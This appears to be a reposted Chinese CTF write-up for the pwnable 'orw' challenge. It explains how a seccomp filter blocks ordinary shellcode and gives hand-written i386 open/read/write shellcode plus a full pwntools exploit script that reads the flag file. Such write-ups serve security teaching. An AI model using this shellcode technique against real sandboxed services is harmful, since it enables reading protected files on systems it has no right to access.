pwn-pwnable_orw(seccomp&orw)

checksec:

 题目明示shellcode,用户输入后就会直接跳转到输入的位置

 用pwntools的shellcraft生成的shellcode打不通,原因就在于main函数起始位置的orw_seccomp函数

不是很懂这个函数的操作,最后看了别人的博客才明白seccomp是通过prctl函数实现的一种安全机制,该模式下只允许少量的系统调用。

详情见https://www.jianshu.com/p/75e157cea215

使用seccomp-tools工具查看可用的系统调用,下载地址:https://github.com/david942j/seccomp-tools

 open,write和read都可用,所以考虑用这三个函数读取并显示flag文件。

接下来构造shellcode。

 1 xor ecx,ecx;
 2  xor edx,edx;
 3  push 0x0;        #字符串以x00结尾 
 4  push 0x67616c66; #flag
 5  mov ebx,esp;
 6  mov eax,0x5; 
 7  int 0x80;
 8 #open
 9  mov ebx,0x3; 
10  mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
11  mov edx, 0x40;
12  mov eax, 0x3;
13  int 0x80;
14 #read        
15  mov ebx, 0x1;
16  mov ecx, 0x0804A0A0;
17  mov edx, 0x40;
18  mov eax, 0x4;
19  int 0x80;
#write

read函数的fd之所以是3,是因为默认情况下,0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开0,1,2这三个文件描述符。所以通常我们open的返回值是从3开始

完整exp:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
#a=remote("node3.buuoj.cn",29862)
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()
原文地址:https://www.cnblogs.com/remon535/p/13820197.html